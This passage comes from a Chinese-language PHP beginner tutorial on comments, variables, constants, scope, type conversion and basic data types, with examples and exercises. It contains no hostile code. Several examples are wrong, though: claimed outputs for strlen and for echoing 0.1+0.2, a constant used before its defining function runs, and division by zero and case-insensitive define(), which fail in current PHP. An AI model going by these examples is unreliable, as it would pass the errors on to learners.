$username = $_SESSION['user_name'];

3. 注释要与代码保持同步

// ❌ 注释与代码不符
// 计算用户年龄
$age = date('Y') - $birth_year + 1; // 实际计算的是周岁+1

// ✅ 注释准确反映代码功能
// 计算用户周岁年龄
$age = date('Y') - $birth_year;

4. 使用标准化的注释格式

函数注释示例:

<?php
/**
 * 计算两个数的乘积
 *
 * @param float $num1 第一个乘数
 * @param float $num2 第二个乘数
 * @return float 两数相乘的结果
 * @throws InvalidArgumentException 如果参数不是数字
 *
 * @example multiply(3, 5); // 返回 15
 */
function multiply($num1, $num2) {
    if (!is_numeric($num1) || !is_numeric($num2)) {
        throw new InvalidArgumentException("参数必须是数字");
    }

    return $num1 * $num2;
}
?>

类注释示例:

<?php
/**
 * 用户管理类
 *
 * 提供用户注册、登录、信息修改等功能
 *
 * @author 张三 <zhangsan@example.com>
 * @version 1.0.0
 * @since 2024-01-01
 */
class UserManager {
    /** @var string 数据库连接字符串 */
    private $dbConnection;

    /**
     * 构造函数
     *
     * @param string $dbHost 数据库主机地址
     * @param string $dbName 数据库名称
     */
    public function __construct($dbHost, $dbName) {
        // 构造数据库连接
        $this->dbConnection = "mysql:host={$dbHost};dbname={$dbName}";
    }
}
?>

实际应用示例

示例1:简单的用户信息处理

<?php
// ========================================
// 用户信息处理脚本
// 功能:获取、验证并显示用户信息
// 作者:张三
// 创建日期:2024-01-01
// ========================================

// 引入用户类文件
require_once 'User.php';

// 获取表单提交的数据
$username = $_POST['username'] ?? ''; // 使用空值合并运算符处理未提交的情况
$email = $_POST['email'] ?? '';
$age = $_POST['age'] ?? 0;

// 数据验证
if (empty($username)) {
    die('用户名不能为空'); // die()函数会输出错误信息并终止脚本
}

/*
 * 邮箱格式验证
 * 使用PHP内置的filter_var函数进行验证
 * FILTER_VALIDATE_EMAIL是专门用于验证邮箱的过滤器
 */
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    die('邮箱格式不正确');
}

// 年龄验证(必须是1-120之间的整数)
if (!is_numeric($age) || $age < 1 || $age > 120) {
    die('年龄必须是1-120之间的数字');
}

// 创建用户对象并保存信息
$user = new User();
$user->setName($username);      // 设置用户名
$user->setEmail($email);        // 设置邮箱
$user->setAge((int)$age);       // 设置年龄(强制转换为整数)

// 保存到数据库
try {
    $userId = $user->save(); // save()方法返回新用户的ID
    echo "用户注册成功!用户ID:{$userId}";
} catch (Exception $e) {
    // 捕获并处理可能的数据库错误
    echo "保存失败:" . $e->getMessage();
}

?>

示例2:配置文件注释

<?php
/* ========================================
 * 网站配置文件
 * 注意:修改配置后需要重启Web服务器
 * ======================================== */

// 数据库配置
define('DB_HOST', 'localhost');     // 数据库服务器地址
define('DB_NAME', 'my_website');    // 数据库名称
define('DB_USER', 'root');          // 数据库用户名
define('DB_PASS', 'password');      // 数据库密码

// 网站基本信息
define('SITE_NAME', '我的网站');     // 网站名称
define('SITE_URL', 'https://example.com'); // 网站URL
define('ADMIN_EMAIL', 'admin@example.com'); // 管理员邮箱

// 系统设置
define('DEBUG_MODE', true);         // 调试模式开关:true=开启,false=关闭
define('TIMEZONE', 'Asia/Shanghai'); // 时区设置
define('MAX_FILE_SIZE', 5242880);   // 最大文件上传大小(5MB)

// 缓存配置(单位:秒)
define('CACHE_DURATION', 3600);     // 缓存持续时间
define('SESSION_TIMEOUT', 1800);    // 会话超时时间

/*
 * API配置
 * 密钥和令牌等敏感信息建议放在环境变量中
 * 这里仅作示例说明
 */
define('API_KEY', 'your_api_key_here');
define('API_SECRET', 'your_api_secret_here');
?>

注释的常见错误和解决方案

1. 注释嵌套问题

<?php
/*
 * 外层注释开始
 *
 * // 这里是内层注释,没问题
 *
 * /* 这里是嵌套的多行注释 - 这会导致问题! */
 * 外层注释在这里结束
 */

// ✅ 正确的做法:避免嵌套多行注释
/*
 * 第一段注释内容
 */

// 第二段独立的注释
/*
 * 第二段注释内容
 */
?>

2. HTML注释与PHP注释混淆

<?php
// HTML注释(在浏览器中可见)
echo '<!-- 这是HTML注释,用户可以在查看网页源代码时看到 -->';

// PHP注释(只在源代码中可见,不会发送到浏览器)
echo '<p>这是一段文本</p>'; // 这是PHP注释
?>

3. 在字符串中使用注释符号

<?php
$message = "这不是注释:// 也不是注释:/* 这里也不是注释 */";
echo $message; // 输出完整字符串内容

// 下面的才是真正的注释
$text = "Hello"; // 这是一个单行注释
?>

练习题

基础练习

  1. 注释类型识别 下面的代码中有哪些类型的注释?请标出来:

    <?php
    # 网站标题
    $siteTitle = "学习PHP";
    
    /*
     * 主函数
     * 返回欢迎消息
     */
    function welcome($name) {
        return "Welcome, " . $name; // 拼接欢迎消息
    }
    ?>
    
  2. 添加适当注释 为以下代码添加合适的注释:

    <?php
    $radius = 5;
    $area = 3.14159 * $radius * $radius;
    echo "半径为{$radius}的圆的面积是:{$area}";
    ?>
    

进阶练习

  1. 函数注释完善 为下面的函数添加完整的注释说明:

    <?php
    function calculateDiscount($originalPrice, $discountRate) {
        if ($originalPrice <= 0 || $discountRate <= 0 || $discountRate >= 1) {
            return false;
        }
    
        return $originalPrice * (1 - $discountRate);
    }
    ?>
    
  2. 代码重构和注释 重构以下代码并添加适当注释:

    <?php
    $a = $_POST['x'];
    $b = $_POST['y'];
    if ($a > 0 && $b > 0) {
        $c = $a * $b;
        echo $c;
    } else {
        echo "错误";
    }
    ?>
    

实践练习

  1. 创建带注释的配置文件 创建一个配置文件,包含以下内容并添加详细注释:

    • 数据库连接信息
    • 文件上传限制
    • 调试模式开关
    • 时区设置
  2. 注释一个简单项目 创建一个简单的用户注册表单处理脚本,要求:

    • 包含详细的文件头注释
    • 每个主要步骤都有注释说明
    • 函数有完整的文档注释
    • 关键代码有行内注释

总结

良好的注释习惯是专业程序员的重要标志。记住以下几个要点:

  • 注释要简洁明了,避免冗余
  • 解释"为什么"而不是"什么"
  • 保持注释与代码同步
  • 使用标准化的注释格式
  • 避免过度注释,好的代码本身就是最好的文档

注释的最终目的是让代码更容易理解和维护。随着经验的积累,你会逐渐掌握何时需要注释,如何写出有用的注释。

下一步学习:掌握注释后,让我们继续学习PHP中的变量与常量。

变量与常量

变量的基本概念

在编程中,变量就像是存储数据的容器。你可以把变量想象成一个贴了标签的盒子,盒子里可以存放各种类型的数据,并且这些数据在程序运行过程中是可以改变的。

变量的特点:

  • 可变性:变量的值可以在程序执行过程中改变
  • 命名标识:每个变量都有一个唯一的名字来标识它
  • 数据存储:用于存储程序中的各种数据
  • 内存分配:每个变量都会在内存中分配存储空间

PHP变量的命名规则

PHP变量名必须遵循以下规则:

1. 基本规则

  • 变量名必须以美元符号 $ 开头
  • 变量名必须以字母或下划线 _ 开头
  • 变量名只能包含字母、数字和下划线
  • 不能以数字开头
  • 变量名区分大小写
<?php
// ✅ 正确的变量名
$name = "张三";
$age = 25;
$_username = "admin";
$user_name = "张三";
$firstName = "三";
$name1 = "变量名可以包含数字";

// ❌ 错误的变量名
// $2name = "不能以数字开头";
// $user-name = "不能包含连字符";
// $user name = "不能包含空格";
// $@name = "不能包含特殊字符";
?>

2. 命名建议

<?php
// ✅ 推荐的命名方式
$userName = "张三";          // 驼峰命名法 (camelCase)
$user_age = 25;              // 下划线命名法 (snake_case)
$isLoggedIn = true;          // 布尔变量通常以 is 开头
$firstName = "三";           // 描述性的变量名
$usersList = array();        // 数组变量以 List 或 Array 结尾

// ❌ 不推荐的命名方式
$n = "张三";                 // 太短,不够描述性
$a = 25;                     // 含义不明
$aaa = "某个值";             // 无意义的命名
$temp = "临时值";            // 除非真的是临时变量
$USERNAME = "ADMIN";         // 虽然合法,但通常不用全大写(常量除外)
?>

变量的声明和赋值

1. 基本赋值

<?php
// 声明并赋值
$name = "张三";
$age = 25;
$height = 175.5;
$isStudent = true;

// 同时声明多个变量
$a = $b = $c = 0;  // a、b、c 都等于 0

// 链式赋值
$x = 10;
$y = $x;           // y 的值为 10
?>

2. 动态赋值

<?php
// 变量的值可以是其他变量的结果
$firstNumber = 15;
$secondNumber = 10;
$sum = $firstNumber + $secondNumber;  // sum = 25

// 变量的值可以来自函数返回值
$currentTime = date('Y-m-d H:i:s');   // 获取当前时间

// 变量的值可以来自用户输入
$username = $_POST['username'] ?? 'Guest';  // 获取表单提交的用户名
?>

变量的使用

1. 输出变量值

<?php
$name = "李四";
$age = 30;

// 使用 echo 输出
echo $name;        // 输出:李四
echo "我的名字是:" . $name;  // 输出:我的名字是:李四

// 使用双引号字符串插值
echo "我的名字是 {$name},今年 {$age} 岁。";
// 输出:我的名字是李四,今年 30 岁。

// 使用 print 输出
print $name;       // 输出:李四

// 使用 printf 格式化输出
printf("姓名:%s,年龄:%d", $name, $age);
// 输出:姓名:李四,年龄:30
?>

2. 变量在字符串中的使用

<?php
$name = "王五";
$age = 25;

// 双引号中的变量会被解析
echo "你好,{$name}!";     // 输出:你好,王五!
echo "你今年{$age}岁了。";  // 输出:你今年25岁了。

// 单引号中的变量不会被解析
echo '你好,{$name}!';     // 输出:你好,{$name}!
echo '你今年$age岁了。';    // 输出:你今年$age岁了。

// 连接字符串和变量
echo "你好," . $name . "!";  // 输出:你好,王五!
?>

可变变量

PHP支持可变变量,即变量的名字可以动态确定。

<?php
// 普通变量
$var_name = "hello";

// 可变变量:$var_name 的值是 "hello",所以 $$var_name 等于 $hello
$$var_name = "World";

echo $hello;  // 输出:World
echo $var_name;  // 输出:hello

// 更复杂的例子
$user = array("name" => "张三", "age" => 25);
$field = "name";

echo $user[$field];  // 输出:张三

// 多层可变变量
$a = "b";
$b = "c";
$c = "d";
$d = "Hello, World!";

echo $$$$a;  // 等于 $d,输出:Hello, World!
?>

变量的作用域

变量的作用域决定了在代码的哪些地方可以访问这个变量。

1. 局部作用域

<?php
function testFunction() {
    $localVariable = "这是局部变量";  // 只在函数内部可见
    echo $localVariable;  // 正确:在函数内部访问
}

testFunction();  // 输出:这是局部变量
// echo $localVariable;  // 错误:无法在函数外部访问局部变量
?>

2. 全局作用域

<?php
$globalVariable = "这是全局变量";  // 在脚本任何地方都可以访问(除了函数内部)

function testGlobal() {
    // 在函数内部无法直接访问全局变量
    // echo $globalVariable;  // 错误:无法直接访问

    // 使用 global 关键字访问全局变量
    global $globalVariable;
    echo $globalVariable;  // 正确:输出"这是全局变量"

    // 或者使用 $GLOBALS 超全局数组
    echo $GLOBALS['globalVariable'];  // 也正确
}

testGlobal();
?>

3. 静态变量

<?php
function counter() {
    static $count = 0;  // 静态变量,只在第一次调用时初始化
    $count++;
    echo "函数被调用了 {$count} 次<br>";
}

counter();  // 输出:函数被调用了 1 次
counter();  // 输出:函数被调用了 2 次
counter();  // 输出:函数被调用了 3 次
?>

常量

常量是值在程序运行期间不可改变的标识符。通常用于存储不会改变的配置信息。

1. 定义常量

<?php
// 使用 define() 函数定义常量
define("SITE_NAME", "我的网站");
define("MAX_USERS", 1000);
define("PI", 3.14159);

// 使用 const 关键字定义常量(PHP 5.3.0+)
const APP_VERSION = "1.0.0";
const DEBUG_MODE = true;

// 输出常量的值
echo SITE_NAME;        // 输出:我的网站
echo MAX_USERS;        // 输出:1000
echo APP_VERSION;      // 输出:1.0.0
?>

2. 常量的命名规则

<?php
// ✅ 推荐的常量命名方式
define("SITE_NAME", "我的网站");
define("MAX_FILE_SIZE", 5242880);
define("API_KEY", "your_api_key_here");

// ❌ 不推荐的命名方式
define("siteName", "我的网站");  // 不使用大写和下划线
define("MAX_SIZE", 5242880);    // 不够描述性
?>

3. 常量的特点

  • 不可改变:一旦定义,常量的值不能修改
  • 大小写敏感(默认):NAMEname 是不同的常量
  • 全局作用域:常量在整个脚本中都可以访问
  • 前面不加美元符号:访问常量时不需要 $
<?php
// 定义常量
define("SITE_NAME", "我的网站");

// 正确的访问方式
echo SITE_NAME;  // 输出:我的网站

// ❌ 错误的访问方式
// echo $SITE_NAME;  // 错误:常量前不需要美元符号

// ❌ 尝试修改常量
// define("SITE_NAME", "新名称");  // 错误:常量不能重新定义
?>

4. 大小写不敏感的常量

<?php
// 第三个参数为 true 时,常量大小写不敏感
define("GREETING", "Hello World", true);

echo GREETING;   // 输出:Hello World
echo greeting;   // 输出:Hello World
echo Greeting;   // 输出:Hello World

// 但推荐总是使用大写命名,保持代码一致性
?>

5. 魔术常量

PHP提供了一些特殊的预定义常量,称为"魔术常量":

<?php
echo __LINE__;    // 当前行号
echo __FILE__;    // 文件的完整路径和文件名
echo __DIR__;     // 文件所在的目录
echo __FUNCTION__;  // 当前函数名
echo __CLASS__;   // 当前类名
echo __METHOD__;  // 当前方法名
echo __NAMESPACE__;  // 当前命名空间

// 示例
function myFunction() {
    echo "函数名:" . __FUNCTION__ . "<br>";
    echo "文件名:" . __FILE__ . "<br>";
    echo "行号:" . __LINE__ . "<br>";
}

myFunction();
?>

变量的类型判断和转换

1. 类型判断函数

<?php
$var = "Hello World";

// 检查变量类型
if (is_string($var)) {
    echo "这是一个字符串<br>";
}

if (is_int(42)) {
    echo "这是一个整数<br>";
}

if (is_array($arrayVar)) {
    echo "这是一个数组<br>";
}

// 检查变量是否已定义
if (isset($undefinedVar)) {
    echo "变量已定义<br>";
} else {
    echo "变量未定义<br>";
}

// 检查变量是否为空
if (empty($emptyVar)) {
    echo "变量为空<br>";
}

// 检查变量是否存在且不为空
if (isset($var) && !empty($var)) {
    echo "变量存在且不为空<br>";
}
?>

2. 类型转换

<?php
// 隐式类型转换
$string = "123";
$number = $string + 1;  // 自动将字符串转换为整数
echo $number;           // 输出:124

// 显式类型转换
$string = "45.67";
$integer = (int)$string;     // 转换为整数:45
$float = (float)$string;     // 转换为浮点数:45.67
$boolean = (bool)$string;    // 转换为布尔值:true

// 使用类型转换函数
$int_value = intval("123abc");   // 转换为整数:123
$float_value = floatval("12.34abc");  // 转换为浮点数:12.34
$bool_value = boolval("hello");   // 转换为布尔值:true

// 获取变量类型
$var = 123;
echo gettype($var);  // 输出:integer

// 设置变量类型
settype($var, "string");  // 将变量转换为字符串类型
?>

实际应用示例

示例1:用户信息管理系统

<?php
// ========================================
// 用户信息管理系统
// 功能:展示用户注册、信息处理的基本流程
// ========================================

// 系统配置常量
define("MIN_AGE", 18);              // 最小年龄限制
define("MAX_AGE", 120);             // 最大年龄限制
define("MIN_USERNAME_LENGTH", 3);   // 用户名最小长度
define("MAX_USERNAME_LENGTH", 20);  // 用户名最大长度

// 用户注册函数
function registerUser($username, $email, $age) {
    // 输入验证
    if (strlen($username) < MIN_USERNAME_LENGTH) {
        return "用户名太短,至少需要" . MIN_USERNAME_LENGTH . "个字符";
    }

    if ($age < MIN_AGE || $age > MAX_AGE) {
        return "年龄必须在" . MIN_AGE . "到" . MAX_AGE . "之间";
    }

    // 处理用户数据
    $userData = array(
        'username' => $username,
        'email' => $email,
        'age' => $age,
        'registration_date' => date('Y-m-d H:i:s')
    );

    // 在实际应用中,这里会将数据保存到数据库
    // 这里只是模拟保存过程
    echo "用户注册成功!<br>";
    echo "用户名:{$userData['username']}<br>";
    echo "邮箱:{$userData['email']}<br>";
    echo "年龄:{$userData['age']}<br>";
    echo "注册时间:{$userData['registration_date']}<br>";

    return true;
}

// 用户信息显示函数
function displayUserInfo($userData) {
    // 定义状态常量
    define("STATUS_ACTIVE", "活跃");
    define("STATUS_INACTIVE", "未激活");
    define("STATUS_BANNED", "已禁用");

    // 根据用户状态显示不同信息
    $status = $userData['status'] ?? STATUS_INACTIVE;

    echo "<div class='user-info'>";
    echo "<h3>用户信息</h3>";
    echo "<p>用户名:{$userData['username']}</p>";
    echo "<p>邮箱:{$userData['email']}</p>";
    echo "<p>年龄:{$userData['age']}</p>";
    echo "<p>状态:{$status}</p>";

    // 根据年龄显示不同的欢迎信息
    if ($userData['age'] < 25) {
        echo "<p class='young'>年轻人,欢迎加入我们的平台!</p>";
    } elseif ($userData['age'] < 50) {
        echo "<p class='middle'>很高兴认识您!</p>";
    } else {
        echo "<p class='senior'>欢迎前辈加入我们的社区!</p>";
    }

    echo "</div>";
}

// 模拟用户注册
$username = "张小明";
$email = "xiaoming@example.com";
$age = 25;

$result = registerUser($username, $email, $age);

if ($result === true) {
    // 创建用户数据数组
    $newUser = array(
        'username' => $username,
        'email' => $email,
        'age' => $age,
        'status' => STATUS_ACTIVE  // 使用常量
    );

    // 显示用户信息
    displayUserInfo($newUser);
} else {
    echo "注册失败:" . $result;
}
?>

示例2:简单的配置管理系统

<?php
// ========================================
// 网站配置管理系统
// ========================================

// 环境配置常量
define("ENV_DEVELOPMENT", "development");
define("ENV_PRODUCTION", "production");
define("ENV_TESTING", "testing");

// 当前环境(在实际应用中,这个值可能来自环境变量)
$currentEnvironment = ENV_DEVELOPMENT;

// 根据环境加载不同的配置
switch ($currentEnvironment) {
    case ENV_DEVELOPMENT:
        // 开发环境配置
        define("DEBUG_MODE", true);
        define("ERROR_REPORTING", E_ALL);
        define("DB_HOST", "localhost");
        define("DB_NAME", "myapp_dev");
        define("LOG_LEVEL", "debug");
        break;

    case ENV_PRODUCTION:
        // 生产环境配置
        define("DEBUG_MODE", false);
        define("ERROR_REPORTING", 0);
        define("DB_HOST", "prod.db.example.com");
        define("DB_NAME", "myapp_prod");
        define("LOG_LEVEL", "error");
        break;

    case ENV_TESTING:
        // 测试环境配置
        define("DEBUG_MODE", true);
        define("ERROR_REPORTING", E_ALL & ~E_DEPRECATED);
        define("DB_HOST", "test.db.example.com");
        define("DB_NAME", "myapp_test");
        define("LOG_LEVEL", "warning");
        break;

    default:
        die("未知的环境配置");
}

// 网站基础配置常量
define("SITE_NAME", "我的PHP网站");
define("SITE_VERSION", "1.0.0");
define("AUTHOR", "张三");
define("CONTACT_EMAIL", "admin@example.com");

// 文件上传配置
define("MAX_UPLOAD_SIZE", 5 * 1024 * 1024);  // 5MB
define("ALLOWED_FILE_TYPES", array('jpg', 'png', 'gif', 'pdf'));
define("UPLOAD_PATH", "/var/www/uploads/");

// 会话配置
define("SESSION_LIFETIME", 3600);  // 1小时
define("COOKIE_PATH", "/");
define("COOKIE_DOMAIN", "example.com");

// 配置显示函数
function displayConfiguration() {
    echo "<h2>网站配置信息</h2>";
    echo "<table border='1'>";
    echo "<tr><th>配置项</th><th>值</th><th>说明</th></tr>";

    // 显示基本配置
    echo "<tr><td>网站名称</td><td>" . SITE_NAME . "</td><td>网站标题</td></tr>";
    echo "<tr><td>网站版本</td><td>" . SITE_VERSION . "</td><td>当前版本号</td></tr>";
    echo "<tr><td>调试模式</td><td>" . (DEBUG_MODE ? "开启" : "关闭") . "</td><td>是否显示调试信息</td></tr>";
    echo "<tr><td>错误报告</td><td>" . ERROR_REPORTING . "</td><td>错误报告级别</td></tr>";

    // 显示文件配置
    echo "<tr><td>最大上传大小</td><td>" . (MAX_UPLOAD_SIZE / 1024 / 1024) . " MB</td><td>文件上传限制</td></tr>";

    // 显示会话配置
    echo "<tr><td>会话有效期</td><td>" . SESSION_LIFETIME . " 秒</td><td>用户登录保持时间</td></tr>";

    echo "</table>";
}

// 环境检查函数
function checkEnvironment() {
    echo "<h2>环境检查</h2>";

    // PHP版本检查
    $phpVersion = PHP_VERSION;
    echo "<p>PHP版本:{$phpVersion}</p>";

    // 必要的PHP扩展检查
    $requiredExtensions = array('mysqli', 'gd', 'curl');
    echo "<p>必要的PHP扩展:</p>";
    echo "<ul>";

    foreach ($requiredExtensions as $extension) {
        if (extension_loaded($extension)) {
            echo "<li style='color: green;'>✓ {$extension} - 已安装</li>";
        } else {
            echo "<li style='color: red;'>✗ {$extension} - 未安装</li>";
        }
    }
    echo "</ul>";

    // 目录权限检查
    $uploadPath = UPLOAD_PATH;
    if (is_writable($uploadPath)) {
        echo "<p style='color: green;'>✓ 上传目录可写</p>";
    } else {
        echo "<p style='color: red;'>✗ 上传目录不可写,请检查权限</p>";
    }
}

// 显示配置信息
displayConfiguration();
checkEnvironment();
?>

常见错误和解决方案

1. 变量未定义错误

<?php
// ❌ 错误示例
echo $undefinedVariable;  // 会产生 Notice: Undefined variable

// ✅ 正确的做法
$variable = "默认值";
echo $variable;

// 或者使用 isset() 检查
if (isset($variable)) {
    echo $variable;
} else {
    echo "变量未定义";
}

// 使用 null 合并运算符(PHP 7.0+)
echo $variable ?? "默认值";
?>

2. 变量名拼写错误

<?php
$userName = "张三";

// ❌ 常见错误
// echo $username;  // 变量名大小写不一致
// echo $user_name; // 命名风格不一致

// ✅ 正确的访问
echo $userName;

// 使用一致的命名风格
$user_name = "李四";  // 下划线命名法
$userAge = 25;        // 驼峰命名法
?>

3. 常量使用错误

<?php
define("SITE_NAME", "我的网站");

// ❌ 常见错误
// echo $SITE_NAME;    // 错误:常量前不需要美元符号
// define("SITE_NAME", "新名称");  // 错误:常量不能重新定义

// ✅ 正确的使用
echo SITE_NAME;

// 使用 defined() 检查常量是否已定义
if (defined("SITE_NAME")) {
    echo "常量 SITE_NAME 已定义";
}

// 使用 constant() 函数动态访问常量
$constantName = "SITE_NAME";
echo constant($constantName);  // 等同于 echo SITE_NAME;
?>

4. 变量作用域错误

<?php
$globalVar = "全局变量";

function testScope() {
    $localVar = "局部变量";

    // ❌ 错误:不能直接访问全局变量
    // echo $globalVar;

    // ✅ 正确:使用 global 关键字
    global $globalVar;
    echo $globalVar;

    // ✅ 正确:使用 $GLOBALS 数组
    echo $GLOBALS['globalVar'];
}

testScope();

// ❌ 错误:不能在函数外部访问局部变量
// echo $localVar;
?>

练习题

基础练习

  1. 变量命名练习 以下哪些是正确的变量名?哪些是错误的?

    $name, $1name, $name1, $_name, $name-1, $Name, $user_name, $userName
    
  2. 常量定义练习 定义以下常量并输出它们的值:

    • 网站名称:"我的PHP学习网站"
    • 最大用户数:1000
    • 版本号:"1.0.0"
  3. 变量赋值练习 创建变量存储你的个人信息(姓名、年龄、邮箱、是否为学生),并格式化输出。

进阶练习

  1. 变量作用域练习 解释以下代码的输出结果:

    <?php
    $a = 10;
    
    function test() {
        $a = 20;
        echo $a;
    }
    
    test();
    echo $a;
    ?>
    
  2. 可变变量练习 使用可变变量实现动态访问:

    <?php
    $user = array('name' => '张三', 'age' => 25);
    $field = 'name';
    
    // 使用可变变量输出用户名和年龄
    ?>
    
  3. 配置管理系统 创建一个简单的配置文件,使用常量定义数据库连接信息、网站基本设置等。

实践练习

  1. 用户注册表单处理 创建一个处理用户注册的脚本,包括:

    • 表单数据接收
    • 输入验证(使用常量定义验证规则)
    • 错误处理
    • 成功消息显示
  2. 多语言支持系统 使用常量实现简单的多语言支持:

    <?php
    // 定义语言常量
    define("LANG_EN", "en");
    define("LANG_CN", "zh");
    
    // 根据语言设置显示不同的内容
    ?>
    

总结

变量和常量是PHP编程的基础,理解它们的特性对于编写高质量的代码至关重要:

变量的关键点:

  • $ 开头,命名要有描述性
  • 区分大小写,保持命名风格一致
  • 理解作用域:局部、全局、静态
  • 使用可变变量实现动态访问

常量的关键点:

  • 值不可改变,适合存储配置信息
  • 全局访问,不使用 $ 符号
  • 推荐大写命名,使用下划线分隔
  • 善用魔术常量获取代码位置信息

最佳实践:

  • 有意义的命名:让代码自文档化
  • 适当的注释:解释复杂的业务逻辑
  • 类型检查:使用 isset()empty() 防止错误
  • 作用域控制:合理使用全局变量和局部变量
  • 常量优先:对于不变的值优先使用常量

掌握变量和常量的使用是PHP编程的第一步,接下来我们将学习PHP中的数据类型,了解PHP能够处理的各种数据。

下一步学习:掌握变量和常量后,让我们继续学习PHP中的数据类型。

数据类型

什么是数据类型?

在编程中,数据类型指的是变量所存储数据的种类和性质。PHP是一种弱类型语言,这意味着你不需要显式声明变量的类型,PHP会根据存储的值自动确定变量的类型。

为什么需要了解数据类型?

  • 正确处理数据:不同的数据类型有不同的处理方式
  • 避免错误:类型不匹配可能导致意外的结果
  • 优化性能:选择合适的数据类型可以提高程序效率
  • 数据验证:确保输入的数据符合预期格式

PHP的数据类型分类

PHP支持8种基本数据类型,分为三大类:

1. 标量类型(Scalar Types)

  • 字符串(String):文本数据
  • 整型(Integer):整数数字
  • 浮点型(Float/Double):小数数字
  • 布尔型(Boolean):真或假

2. 复合类型(Compound Types)

  • 数组(Array):有序的数据集合
  • 对象(Object):类的实例

3. 特殊类型(Special Types)

  • NULL:空值
  • 资源(Resource):外部资源引用

标量类型详解

1. 字符串(String)

字符串是由字符组成的序列,用于存储文本信息。

字符串的声明方式:

<?php
// 单引号字符串
$name1 = '张三';
$message1 = 'Hello, World!';

// 双引号字符串
$name2 = "李四";
$message2 = "你好,世界!";

// Heredoc 语法(用于多行字符串)
$longText1 = <<<TEXT
这是一段
很长的文本
可以包含多行
和换行符
TEXT;

// Nowdoc 语法(类似单引号的多行字符串)
$longText2 = <<<'TEXT'
这是一段
很长的文本
$变量不会被解析
TEXT;

echo $name1;      // 输出:张三
echo $message2;   // 输出:你好,世界!
?>

单引号 vs 双引号的区别:

<?php
$name = "张三";
$age = 25;

// 单引号:变量不会被解析,转义字符有限
echo '姓名:$name,年龄:$age';  // 输出:姓名:$name,年龄:$age
echo '路径:C:\\Users\\Admin';   // 输出:路径:C:\Users\Admin
echo 'It\'s a nice day';         // 输出:It's a nice day

// 双引号:变量会被解析,支持更多转义字符
echo "姓名:{$name},年龄:{$age}";  // 输出:姓名:张三,年龄:25
echo "路径:C:\\Users\\Admin";       // 输出:路径:C:\Users\Admin
echo "换行符:\n制表符:\t";          // 输出会包含换行和制表符
echo "今天是:" . date('Y-m-d');      // 输出:今天是:2024-01-01
?>

字符串操作示例:

<?php
// 字符串连接
$firstName = "张";
$lastName = "三";
$fullName = $firstName . $lastName;  // 输出:张三

// 字符串长度
$text = "Hello, 世界!";
echo strlen($text);  // 输出:9(中文字符通常算3个字节)

// 字符串中的字符数量
echo mb_strlen($text, 'UTF-8');  // 输出:9(正确计算中文字符)

// 字符串查找
$sentence = "PHP是一种流行的Web开发语言";
if (strpos($sentence, "PHP") !== false) {
    echo "找到了PHP";  // 输出:找到了PHP
}

// 字符串替换
$newText = str_replace("PHP", "Python", $sentence);
echo $newText;  // 输出:Python是一种流行的Web开发语言

// 字符串截取
$substring = substr("Hello, World!", 0, 5);
echo $substring;  // 输出:Hello

// 大小写转换
echo strtoupper("hello");  // 输出:HELLO
echo strtolower("WORLD");  // 输出:world
echo ucfirst("hello world");  // 输出:Hello world
echo ucwords("hello world");  // 输出:Hello World
?>

2. 整型(Integer)

整型是不包含小数部分的数字,可以是正数、负数或零。

整型的范围和格式:

<?php
// 不同格式的整数
$decimal = 123;        // 十进制
$negative = -456;      // 负数
$zero = 0;            // 零
$octal = 0123;        // 八进制(以0开头)
$hexadecimal = 0x1A;   // 十六进制(以0x开头)
$binary = 0b1010;      // 二进制(以0b开头,PHP 5.4+)

echo $decimal;        // 输出:123
echo $negative;       // 输出:-456
echo $octal;          // 输出:83(八进制123转十进制)
echo $hexadecimal;    // 输出:26(十六进制1A转十进制)
echo $binary;         // 输出:10(二进制1010转十进制)

// 检查整型范围
echo PHP_INT_MAX;     // 输出:最大整数值(通常为2147483647或9223372036854775807)
echo PHP_INT_MIN;     // 输出:最小整数值

// 64位系统的整型范围
if (PHP_INT_SIZE === 8) {
    echo "系统支持64位整数";
} else {
    echo "系统支持32位整数";
}
?>

整型操作示例:

<?php
// 基本算术运算
$a = 10;
$b = 3;

echo $a + $b;    // 输出:13(加法)
echo $a - $b;    // 输出:7(减法)
echo $a * $b;    // 输出:30(乘法)
echo $a / $b;    // 输出:3.333...(除法,结果为浮点数)
echo $a % $b;    // 输出:1(取余)
echo $a ** $b;   // 输出:1000(幂运算,PHP 5.6+)

// 整型递增递减
$count = 5;
echo ++$count;    // 输出:6(先递增,后返回)
echo $count++;    // 输出:6(先返回,后递增)
echo $count;      // 输出:7

echo --$count;    // 输出:6(先递减,后返回)
echo $count--;    // 输出:6(先返回,后递减)
echo $count;      // 输出:5

// 数学函数
echo abs(-10);           // 输出:10(绝对值)
echo round(3.7);         // 输出:4(四舍五入)
echo ceil(3.2);          // 输出:4(向上取整)
echo floor(3.9);         // 输出:3(向下取整)
echo rand(1, 100);       // 输出:1-100之间的随机数
echo max(10, 20, 15);    // 输出:20(最大值)
echo min(10, 20, 15);    // 输出:10(最小值)

// 进制转换
echo decbin(10);         // 输出:1010(十进制转二进制)
echo bindec(1010);       // 输出:10(二进制转十进制)
echo decoct(10);         // 输出:12(十进制转八进制)
echo octdec(12);         // 输出:10(八进制转十进制)
echo dechex(10);         // 输出:a(十进制转十六进制)
echo hexdec('a');        // 输出:10(十六进制转十进制)
?>

3. 浮点型(Float/Double)

浮点型用于表示包含小数部分的数字,也称为双精度浮点数。

浮点型的声明和使用:

<?php
// 浮点数的不同表示方式
$price1 = 19.99;           // 小数形式
$price2 = -123.456;        // 负数小数
$scientific = 1.23e4;      // 科学计数法:1.23 × 10^4 = 12300
$scientific2 = 1.23E-4;    // 科学计数法:1.23 × 10^-4 = 0.000123

echo $price1;              // 输出:19.99
echo $scientific;          // 输出:12300
echo $scientific2;         // 输出:0.000123

// 浮点数精度问题
$result1 = 0.1 + 0.2;      // 理论上应该是0.3
echo $result1;             // 输出:0.30000000000000004(精度误差)

// 使用 round() 解决精度问题
$result2 = round(0.1 + 0.2, 2);
echo $result2;             // 输出:0.3

// 检查浮点数范围
echo PHP_FLOAT_MAX;        // 最大浮点数
echo PHP_FLOAT_MIN;        // 最小正浮点数

// 无穷大检测
$infinity = 1.0 / 0.0;
if (is_infinite($infinity)) {
    echo "这是无穷大";
}

// NaN 检测(Not a Number)
$nan = acos(1.1);  // 反余弦函数,参数超出范围
if (is_nan($nan)) {
    echo "这不是一个数字";
}
?>

浮点数操作示例:

<?php
// 浮点数运算
$a = 10.5;
$b = 2.5;

echo $a + $b;    // 输出:13
echo $a - $b;    // 输出:8
echo $a * $b;    // 输出:26.25
echo $a / $b;    // 输出:4.2

// 数学函数
$number = 3.14159;

